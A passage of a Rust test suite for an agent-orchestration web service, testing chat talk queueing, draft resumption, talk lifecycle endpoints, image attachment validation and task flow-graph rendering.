11220 let id = talk.id.clone();
11221 let turn_guard = ui
11224 .begin_talk_turn(&id)
11225 .expect("claim the turn")
11226 .expect("a fresh talk owes nobody a turn");
11227
11228 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11229 let (release_tx, release_rx) = std::sync::mpsc::channel();
11230 ui.set_busy_queue_gate(BusyQueueGate {
11231 reached: reached_tx,
11232 release: release_rx,
11233 });
11234
11235 let handler = tokio::spawn(talk_say(
11236 State(Arc::clone(&ui)),
11237 Path(id.clone()),
11238 Ok(Json(NewTalkTurn {
11239 reply_to: None,
11240 text: "what does the queue module do?".to_owned(),
11241 attachments: Vec::new(),
11242 })),
11243 ));
11244
11245 tokio::time::timeout(Duration::from_secs(5), reached_rx)
11250 .await
11251 .unwrap_or_else(|_| {
11252 panic!(
11253 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11254 )
11255 })
11256 .expect("the busy branch dropped the gate without using it");
11257
11258 let running = talks.get(&id).expect("reload talk");
11265 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11266
11267 handler.abort();
11271 let _ = handler.await;
11272
11273 let _ = release_tx.send(());
11279
11280 let mut fresh = talks.get(&id).expect("reload talk");
11283 for _ in 0..SETTLE_STEPS {
11284 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11285 break;
11286 }
11287 tokio::time::sleep(Duration::from_millis(10)).await;
11288 fresh = talks.get(&id).expect("reload talk");
11289 }
11290 assert!(
11291 fresh.pending.is_empty() && fresh.turns.len() == 2,
11292 "attempt {attempt}: talk {id} left the operator's text queued \
11293 with no drainer - the reclaimed turn was dropped along with \
11294 the handler future (pending {:?}, {} turns)",
11295 fresh.pending,
11296 fresh.turns.len()
11297 );
11298 }
11299 }
11300
11301 #[tokio::test]
11302 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11303 let (_tmp, _repo, f) = talk_fixture().await;
11304 let id = f.post("/api/talks", None).await.json()["id"]
11305 .as_str()
11306 .expect("id")
11307 .to_owned();
11308 let store = f.talks();
11309 let mut recovered = store.get(&id).expect("opened talk");
11310 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11311 .expect("persist pending draft without a live turn");
11312
11313 let edited = f
11314 .post(
11315 &format!("/api/talks/{id}/pending/edit"),
11316 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11317 )
11318 .await;
11319 assert_eq!(edited.status, 200, "{}", edited.body);
11320 assert!(edited.json()["thinking"].as_bool().unwrap());
11321
11322 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11323 for _ in 0..SETTLE_STEPS {
11324 if detail["turns"].as_array().expect("turns").len() == 2 {
11325 break;
11326 }
11327 tokio::time::sleep(Duration::from_millis(10)).await;
11328 detail = f.get(&format!("/api/talks/{id}")).await.json();
11329 }
11330 let turns = detail["turns"].as_array().expect("turns");
11331 assert_eq!(
11332 turns.len(),
11333 2,
11334 "the recovered draft must run once: {detail}"
11335 );
11336 assert_eq!(turns[0]["body"], "corrected");
11337 assert_eq!(detail["pending"], "");
11338 }
11339
11340 #[tokio::test]
11341 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11342 let tmp = TempDir::new().expect("tempdir");
11343 let repo = tmp.path().join("repo");
11344 std::fs::create_dir_all(&repo).expect("repo dir");
11345 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11346 let f = Fixture::with_repo(repo).await;
11347 let id = f.post("/api/talks", None).await.json()["id"]
11348 .as_str()
11349 .expect("id")
11350 .to_owned();
11351 let store = f.talks();
11352 let mut recovered = store.get(&id).expect("opened talk");
11353 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11354 .expect("persist pending draft without a live turn");
11355
11356 let refused = f
11357 .post(
11358 &format!("/api/talks/{id}/say"),
11359 Some(r#"{"text":"new message"}"#),
11360 )
11361 .await;
11362 assert_eq!(refused.status, 409, "{}", refused.body);
11363 assert!(refused.body.contains("resume"), "{}", refused.body);
11364 let saved = store.get(&id).expect("draft remains after refusal");
11365 assert!(saved.turns.is_empty());
11366 assert_eq!(saved.pending, "saved before restart");
11367
11368 let say_path = format!("/api/talks/{id}/say");
11369 let (first, second) = tokio::join!(
11370 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11371 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11372 );
11373 assert_eq!(first.status, 409, "{}", first.body);
11374 assert_eq!(second.status, 409, "{}", second.body);
11375 let saved = store
11376 .get(&id)
11377 .expect("draft remains after concurrent refusals");
11378 assert!(saved.turns.is_empty());
11379 assert_eq!(saved.pending, "saved before restart");
11380
11381 let resumed = f
11382 .post(&format!("/api/talks/{id}/pending/resume"), None)
11383 .await;
11384 assert_eq!(resumed.status, 202, "{}", resumed.body);
11385 let duplicate = f
11386 .post(&format!("/api/talks/{id}/pending/resume"), None)
11387 .await;
11388 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11389
11390 for _ in 0..SETTLE_STEPS {
11391 if store.get(&id).expect("talk").turns.len() == 2 {
11392 break;
11393 }
11394 tokio::time::sleep(Duration::from_millis(10)).await;
11395 }
11396 let finished = store.get(&id).expect("finished talk");
11397 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11398 assert_eq!(finished.turns[0].body, "saved before restart");
11399 assert!(finished.pending.is_empty());
11400 }
11401
11402 #[tokio::test]
11403 async fn an_image_only_recovered_draft_resumes_without_text() {
11404 let (_tmp, _repo, f) = talk_fixture().await;
11405 let id = f.post("/api/talks", None).await.json()["id"]
11406 .as_str()
11407 .expect("id")
11408 .to_owned();
11409 let uploaded = f
11410 .post_bytes(
11411 &format!("/api/talks/{id}/attachments"),
11412 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11413 PNG_BYTES,
11414 )
11415 .await;
11416 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11417 let attachment = f
11418 .talks()
11419 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11420 .expect("attachment metadata")
11421 .expect("stored attachment");
11422 let store = f.talks();
11423 let mut recovered = store.get(&id).expect("opened talk");
11424 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11425
11426 let resumed = f
11427 .post(&format!("/api/talks/{id}/pending/resume"), None)
11428 .await;
11429 assert_eq!(resumed.status, 202, "{}", resumed.body);
11430 for _ in 0..SETTLE_STEPS {
11431 if store.get(&id).expect("talk").turns.len() == 2 {
11432 break;
11433 }
11434 tokio::time::sleep(Duration::from_millis(10)).await;
11435 }
11436 let finished = store.get(&id).expect("finished talk");
11437 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11438 assert!(finished.turns[0].body.is_empty());
11439 assert_eq!(finished.turns[0].attachments.len(), 1);
11440 assert!(finished.pending_attachments.is_empty());
11441 }
11442
11443 #[tokio::test]
11444 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11445 let (_tmp, _repo, f) = talk_fixture().await;
11446 let id = f.post("/api/talks", None).await.json()["id"]
11447 .as_str()
11448 .expect("id")
11449 .to_owned();
11450 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11451 assert_eq!(closed.status, 200, "{}", closed.body);
11452 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11453 .expect("serialize closed talk");
11454 for (path, body) in [
11455 (format!("/api/talks/{id}/pending/resume"), None),
11456 (
11457 format!("/api/talks/{id}/pending/clear"),
11458 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11459 ),
11460 (
11461 format!("/api/talks/{id}/pending/edit"),
11462 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11463 ),
11464 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11465 ] {
11466 let response = f.post(&path, body).await;
11467 assert_eq!(response.status, 409, "{}", response.body);
11468 }
11469 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11470 .expect("serialize closed talk");
11471 assert_eq!(
11472 after_clear, before_clear,
11473 "clear must not rewrite a closed talk"
11474 );
11475 }
11476
11477 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11480
11481 #[tokio::test]
11482 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11483 let tmp = TempDir::new().expect("tempdir");
11484 let repo = tmp.path().join("repo");
11485 std::fs::create_dir_all(&repo).expect("repo dir");
11486 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11487 let f = Fixture::with_repo(repo).await;
11488 let id_a = f.post("/api/talks", None).await.json()["id"]
11489 .as_str()
11490 .unwrap()
11491 .to_owned();
11492 let id_b = f.post("/api/talks", None).await.json()["id"]
11493 .as_str()
11494 .unwrap()
11495 .to_owned();
11496
11497 let a = f
11498 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11499 .await;
11500 assert_eq!(a.status, 202, "{}", a.body);
11501 assert_eq!(a.json()["thinking"], true);
11502 let b = f
11503 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11504 .await;
11505 assert_eq!(b.status, 202, "{}", b.body);
11506 assert_eq!(b.json()["thinking"], true);
11507
11508 let listed = f.get("/api/talks").await.json();
11509 for id in [&id_a, &id_b] {
11510 let view = listed
11511 .as_array()
11512 .unwrap()
11513 .iter()
11514 .find(|talk| talk["id"] == *id)
11515 .unwrap();
11516 assert_eq!(view["thinking"], true, "{listed}");
11517 }
11518 let repeated = f
11519 .post(
11520 &format!("/api/talks/{id_a}/say"),
11521 Some(r#"{"text":"again"}"#),
11522 )
11523 .await;
11524 assert_eq!(repeated.status, 202, "{}", repeated.body);
11525 assert_eq!(repeated.json()["pending"], "again");
11526 }
11527
11528 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11531
11532 #[tokio::test]
11533 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11534 let f = Fixture::start().await;
11535 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11536
11537 let res = f
11538 .post_bytes(
11539 &format!("/api/talks/{id}/attachments"),
11540 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11541 PNG_BYTES,
11542 )
11543 .await;
11544 assert_eq!(res.status, 201, "{}", res.body);
11545 let body = res.json();
11546 assert_eq!(body["name"], "shot.png");
11547 assert_eq!(body["mime"], "image/png");
11548 assert_eq!(body["bytes"], PNG_BYTES.len());
11549 let att_id = body["id"].as_str().expect("id").to_owned();
11550 assert_eq!(
11551 att_id.len(),
11552 32,
11553 "the id must never be a client-suppliable path: {att_id}"
11554 );
11555
11556 let got = f
11557 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11558 .await;
11559 assert_eq!(got.status, 200, "{}", got.body);
11560 assert_eq!(got.header("content-type"), Some("image/png"));
11561 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11562 assert_eq!(got.bytes, PNG_BYTES);
11563 }
11564
11565 #[tokio::test]
11566 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11567 let f = Fixture::start().await;
11568 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11569
11570 let svg = f
11573 .post_bytes(
11574 &format!("/api/talks/{id}/attachments"),
11575 &[("Content-Type", "image/svg+xml")],
11576 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11577 )
11578 .await;
11579 assert!(
11580 (400..500).contains(&svg.status),
11581 "svg must be refused: {} {}",
11582 svg.status,
11583 svg.body
11584 );
11585 assert!(svg.body.contains("SVG"), "{}", svg.body);
11586
11587 let text = f
11588 .post_bytes(
11589 &format!("/api/talks/{id}/attachments"),
11590 &[("Content-Type", "text/plain")],
11591 b"just some text",
11592 )
11593 .await;
11594 assert!(
11595 (400..500).contains(&text.status),
11596 "an unlisted type must be refused: {} {}",
11597 text.status,
11598 text.body
11599 );
11600
11601 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11604 let big = f
11605 .post_bytes(
11606 &format!("/api/talks/{id}/attachments"),
11607 &[("Content-Type", "image/png")],
11608 &oversized,
11609 )
11610 .await;
11611 assert_eq!(
11612 big.status,
11613 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11614 "{}",
11615 big.body
11616 );
11617 }
11618
11619 #[tokio::test]
11620 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11621 let f = Fixture::start().await;
11622 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11623
11624 let res = f
11627 .post_bytes(
11628 &format!("/api/talks/{id}/attachments"),
11629 &[("Content-Type", "image/png")],
11630 b"<html>not a picture</html>",
11631 )
11632 .await;
11633 assert!((400..500).contains(&res.status), "{}", res.body);
11634 }
11635
11636 #[tokio::test]
11637 async fn an_unknown_attachment_id_is_a_404() {
11638 let f = Fixture::start().await;
11639 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11640
11641 let res = f
11642 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11643 .await;
11644 assert_eq!(res.status, 404, "{}", res.body);
11645 }
11646
11647 #[tokio::test]
11648 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11649 let f = Fixture::start().await;
11650 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11651
11652 let uploaded = f
11653 .post_bytes(
11654 &format!("/api/talks/{id}/attachments"),
11655 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11656 PNG_BYTES,
11657 )
11658 .await;
11659 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11660 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11661
11662 let res = f
11663 .post(
11664 &format!("/api/talks/{id}/say"),
11665 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11666 )
11667 .await;
11668 assert_eq!(res.status, 202, "{}", res.body);
11669 let queued = res.json();
11670 let turns = queued["turns"].as_array().expect("turns array");
11671 assert_eq!(
11672 turns.len(),
11673 1,
11674 "an empty body with an attachment is still a turn: {queued}"
11675 );
11676 assert_eq!(turns[0]["who"], "operator");
11677 assert_eq!(turns[0]["body"], "");
11678 let atts = turns[0]["attachments"]
11679 .as_array()
11680 .expect("attachments array");
11681 assert_eq!(atts.len(), 1);
11682 assert_eq!(atts[0]["id"], att_id);
11683 assert_eq!(atts[0]["mime"], "image/png");
11684
11685 let on_disk = f.talks().get(&id).expect("get");
11688 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11689 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11690 }
11691
11692 #[tokio::test]
11693 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11694 let f = Fixture::start().await;
11695 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11696
11697 let res = f
11698 .post(
11699 &format!("/api/talks/{id}/say"),
11700 Some(&format!(
11701 r#"{{"text":"hi","attachments":["{}"]}}"#,
11702 "a".repeat(32)
11703 )),
11704 )
11705 .await;
11706 assert!((400..500).contains(&res.status), "{}", res.body);
11707 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11708
11709 let on_disk = f.talks().get(&id).expect("get");
11710 assert!(
11711 on_disk.turns.is_empty(),
11712 "a rejected attachment id must not partially record the turn: {:?}",
11713 on_disk.turns
11714 );
11715 }
11716
11717 #[tokio::test]
11718 async fn talk_close_makes_the_talk_refuse_further_turns() {
11719 let f = Fixture::start().await;
11720 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11721
11722 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11723 assert_eq!(closed.status, 200, "{}", closed.body);
11724 assert_eq!(closed.json()["status"], "closed");
11725
11726 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11728 assert_eq!(closed_again.status, 200);
11729 assert_eq!(closed_again.json()["status"], "closed");
11730
11731 let said = f
11732 .post(
11733 &format!("/api/talks/{id}/say"),
11734 Some(r#"{"text":"too late"}"#),
11735 )
11736 .await;
11737 assert_eq!(said.status, 409, "{}", said.body);
11738 }
11739
11740 #[tokio::test]
11741 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11742 let (_tmp, _repo, f) = talk_fixture().await;
11743 let id = f.post("/api/talks", None).await.json()["id"]
11744 .as_str()
11745 .expect("id")
11746 .to_owned();
11747 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11748 assert_eq!(closed.status, 200, "{}", closed.body);
11749
11750 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11751 assert_eq!(reopened.status, 200, "{}", reopened.body);
11752 assert_eq!(reopened.json()["status"], "open");
11753
11754 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11756 assert_eq!(reopened_again.status, 200);
11757 assert_eq!(reopened_again.json()["status"], "open");
11758
11759 let said = f
11760 .post(
11761 &format!("/api/talks/{id}/say"),
11762 Some(r#"{"text":"still there?"}"#),
11763 )
11764 .await;
11765 assert_eq!(
11766 said.status, 202,
11767 "a reopened talk accepts turns again: {}",
11768 said.body
11769 );
11770 }
11771
11772 #[tokio::test]
11773 async fn talk_reopen_on_an_unknown_id_is_404() {
11774 let f = Fixture::start().await;
11775 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11776 assert_eq!(res.status, 404, "{}", res.body);
11777 }
11778
11779 #[tokio::test]
11780 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11781 let f = Fixture::start().await;
11782 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11783
11784 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11785 assert_eq!(deleted.status, 204, "{}", deleted.body);
11786
11787 let after = f.get(&format!("/api/talks/{id}")).await;
11788 assert_eq!(after.status, 404, "{}", after.body);
11789
11790 let listed = f.get("/api/talks").await.json();
11791 assert!(
11792 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11793 "a deleted talk must not linger in the list: {listed}"
11794 );
11795 }
11796
11797 #[tokio::test]
11798 async fn talk_delete_on_an_unknown_id_is_404() {
11799 let f = Fixture::start().await;
11800 let res = f.delete("/api/talks/nonexistent-id").await;
11801 assert_eq!(res.status, 404, "{}", res.body);
11802 }
11803
11804 #[tokio::test]
11808 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11809 let f = Fixture::start().await;
11810 let (a, b, gone) = (
11811 "20260902-140501-aaaa",
11812 "20260902-140502-bbbb",
11813 "20260902-140503-cccc",
11814 );
11815 write_run(&f.runs(), a, RunStatus::Stalled);
11816 let mut review = RunState::new(
11817 PathBuf::from("/repo/magi"),
11818 "main".to_owned(),
11819 "0123456789abcdef".to_owned(),
11820 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11821 .to_owned(),
11822 Config::default(),
11823 );
11824 review.id = b.to_owned();
11825 review.status = RunStatus::Merged;
11826 write_state(&f.runs(), &review);
11827
11828 let mut task = Task::new(
11829 "retry".to_owned(),
11830 "Do the thing".to_owned(),
11831 PathBuf::from("/repo/magi"),
11832 Source::Human,
11833 );
11834 task.start(a.to_owned());
11835 task.stall("quota");
11836 task.start(a.to_owned());
11837 task.start(b.to_owned());
11838 task.start(gone.to_owned());
11839 f.queue().put(&mut task).expect("file the task");
11840
11841 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11842 assert_eq!(res.status, 200, "{}", res.body);
11843 let v = res.json();
11844 let h = v["history"].as_array().expect("history");
11845 assert_eq!(h.len(), 4, "{v}");
11846 assert_eq!(h[0]["kind"], "competition");
11847 assert_eq!(h[0]["status"], "stalled");
11848 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11849 assert_eq!(h[1]["kind"], "resume", "{v}");
11850 assert!(
11851 h[0]["outcome"]
11852 .as_str()
11853 .unwrap()
11854 .contains("unknown. Pass #2"),
11855 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11856 );
11857 assert!(
11858 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11859 "{v}"
11860 );
11861 assert!(
11862 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11863 "an unrecorded cause must not be narrated as an operator park: {v}"
11864 );
11865 assert_eq!(h[2]["kind"], "review");
11866 assert!(
11867 h[2]["description"]
11868 .as_str()
11869 .unwrap()
11870 .contains("magi/aaaa/A")
11871 );
11872 assert_eq!(h[2]["status"], "merged");
11873 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11874 assert_eq!(v["runs_unreadable"], 1);
11875 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11876 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11877 assert_eq!(nodes[4]["note"], "unreadable");
11878 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11879 assert_eq!(v["instruction"], "Do the thing");
11880 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11881
11882 let run = f.get(&format!("/api/runs/{a}")).await.json();
11884 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11885
11886 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11887 }
11888
11889 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11890 let mut s = RunState::new(
11891 PathBuf::from("/repo/magi"),
11892 "main".to_owned(),
11893 "0123456789abcdef".to_owned(),
11894 "Do it".to_owned(),
11895 Config::default(),
11896 );
11897 s.status = status;
11898 edit(&mut s);
11899 s
11900 }
11901
11902 fn flow_task(runs: &[&str]) -> Task {
11903 let mut t = Task::new(
11904 "t".to_owned(),
11905 "Do it".to_owned(),
11906 PathBuf::from("/repo/magi"),
11907 Source::Human,
11908 );
11909 for r in runs {
11910 t.start((*r).to_owned());
11911 }
11912 t
11913 }
11914
11915 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11916 let h = task_history(task, |id| {
11917 states
11918 .iter()
11919 .find(|(i, _)| *i == id)
11920 .and_then(|(_, s)| s.clone())
11921 });
11922 task_flow(task, &h, 5, None)
11923 }
11924
11925 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11926 crate::queue::FollowUp {
11927 run: "20260901-000000-aaaa".to_owned(),
11928 origin_task: origin_task.map(str::to_owned),
11929 pr: "https://example.com/o/r/pull/1".to_owned(),
11930 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11931 .map(str::to_owned)
11932 .to_vec(),
11933 generation: 1,
11934 }
11935 }
11936
11937 fn parent_task() -> Task {
11938 let mut p = flow_task(&[]);
11939 p.title = "Parent title".to_owned();
11940 p.status = TaskStatus::Done;
11941 p
11942 }
11943
11944 #[test]
11945 fn flow_opens_with_the_parent_task_of_a_followup() {
11946 let p = parent_task();
11947 let pid = p.id.clone();
11948 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11949 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11950 let n = &f.nodes[0];
11951 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11952 assert_eq!(
11953 n.label,
11954 format!("Follow-up of {}", crate::queue::short(&pid))
11955 );
11956 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11957 assert_eq!(n.status, Some("done"));
11958 assert_eq!(n.status_of, "task");
11959 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11960 assert_eq!(f.nodes[1].key, "start");
11961 assert_eq!(f.edges[0].from, "origin");
11962 assert_eq!(
11963 f.edges[0].label,
11964 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11965 );
11966 }
11967
11968 #[test]
11969 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11970 let o = followup_origin(
11971 &fu(Some("gone")),
11972 |_| None,
11973 |_| {
11974 Some(RunState::new(
11975 std::path::PathBuf::from("."),
11976 "main".to_owned(),
11977 "0".to_owned(),
11978 "t".to_owned(),
11979 crate::config::Config::default(),
11980 ))
11981 },
11982 );
11983 assert!(o.parent.is_none());
11984 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11985 let n = &f.nodes[0];
11986 assert_eq!(n.status_of, "run");
11987 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11988 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11989 }
11990
11991 #[test]
11992 fn flow_followup_with_nothing_readable_has_no_link() {
11993 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11994 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11995 let n = &f.nodes[0];
11996 assert_eq!(n.href, None);
11997 assert_eq!(n.note, Some("unreadable"));
11998 assert!(!n.readable);
11999 }
12000
12001 #[test]
12002 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
12003 let o = followup_origin(&fu(None), |_| None, |_| None);
12004 let mut t = flow_task(&[]);
12005 t.origin_chat = Some("c1".to_owned());
12006 let f = task_flow(&t, &[], 5, Some(&o));
12007 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
12008 t.source = Source::Agent {
12009 run: "c1".to_owned(),
12010 node: crate::queue::CHAT_NODE.to_owned(),
12011 };
12012 let f = task_flow(&t, &[], 5, Some(&o));
12013 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
12014 assert_eq!(
12015 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
12016 ("chat", "origin")
12017 );
12018 }
12019
12020 #[test]
12021 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
12022 let mut p = parent_task();
12023 p.id = "a b/c".to_owned();
12024 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
12025 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
12026 }
12027
12028 #[test]
12029 fn flow_opens_with_the_chat_that_queued_the_task() {
12030 let mut t = flow_task(&[]);
12031 t.source = Source::Agent {
12032 run: "a b/c".to_owned(),
12033 node: crate::queue::CHAT_NODE.to_owned(),
12034 };
12035 let f = flow_for(&t, &[]);
12036 assert_eq!(f.nodes[0].key, "chat");
12037 assert_eq!(f.nodes[0].kind, "chat");
12038 assert_eq!(
12039 f.nodes[0].label,
12040 format!("Chat {}", crate::queue::short("a b/c"))
12041 );
12042 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
12043 assert_eq!(f.nodes[1].key, "start");
12044 assert_eq!(
12045 f.edges[0],
12046 FlowEdge {
12047 from: "chat".to_owned(),
12048 to: "start".to_owned(),
12049 label: "queued from chat".to_owned(),
12050 attempt: AttemptCost::None,
12051 }
12052 );
12053 }
12054
12055 #[test]
12056 fn flow_has_no_chat_box_for_other_sources() {
12057 for source in [
12058 Source::Human,
12059 Source::Issue {
12060 number: 3,
12061 repo: "o/r".to_owned(),
12062 },
12063 Source::Agent {
12064 run: "20260904-014455-ab12".to_owned(),
12065 node: "implement".to_owned(),
12066 },
12067 ] {
12068 let mut t = flow_task(&[]);
12069 t.source = source;
12070 let f = flow_for(&t, &[]);
12071 assert_eq!(f.nodes[0].key, "start");
12072 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
12073 assert!(f.edges.iter().all(|e| e.from != "chat"));
12074 }
12075 }
12076
12077 const FA: &str = "20260902-140501-aaaa";
12078 const FB: &str = "20260902-140502-bbbb";
12079
12080 #[test]
12081 fn flow_follows_blocked_retry_merged_to_done() {
12082 let mut t = flow_task(&[FA, FB]);
12083 t.status = TaskStatus::Done;
12084 let f = flow_for(
12085 &t,
12086 &[
12087 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
12088 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
12089 ],
12090 );
12091 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
12092 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
12093 assert_eq!(f.edges.len(), 3);
12094 assert_eq!(f.edges[0].label, "claimed");
12095 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
12096 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
12097 assert_eq!(f.edges[2].label, "merged \u{2192} done");
12098 assert_eq!(
12099 f.nodes[2].href.as_deref(),
12100 Some("#/runs/20260902-140502-bbbb")
12101 );
12102 assert!(f.nodes[2].decided);
12103 }
12104
12105 #[test]
12106 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
12107 let quota = || {
12108 flow_run(RunStatus::Stalled, |s| {
12109 s.quota.push(crate::run::QuotaLoss {
12110 seat: "judge-1".to_owned(),
12111 node: "judge".to_owned(),
12112 at: Timestamp::now(),
12113 reset: None,
12114 })
12115 })
12116 };
12117 let mut t = flow_task(&[FA, FA]);
12118 t.status = TaskStatus::Queued;
12119 let f = flow_for(&t, &[(FA, Some(quota()))]);
12120 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
12121 assert_eq!(f.nodes[1].note, Some("interrupted"));
12122 assert_eq!(
12123 f.nodes[1].status, None,
12124 "no outcome copied onto an earlier pass"
12125 );
12126 assert_eq!(
12127 f.edges[1].attempt,
12128 AttemptCost::Unknown,
12129 "a resume does not prove the earlier pass was refunded"
12130 );
12131 assert!(f.edges[1].label.contains("resume the same run"));
12132 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
12133 assert_eq!(
12134 f.edges[2].label,
12135 "stalled after a resume, refund unknown \u{2192} queued"
12136 );
12137 assert!(!f.nodes[2].decided, "a stall is not a decision");
12138 assert_eq!(f.nodes[2].note, Some("no verdict"));
12139 }
12140
12141 #[test]
12142 fn flow_single_pass_quota_stall_is_refunded() {
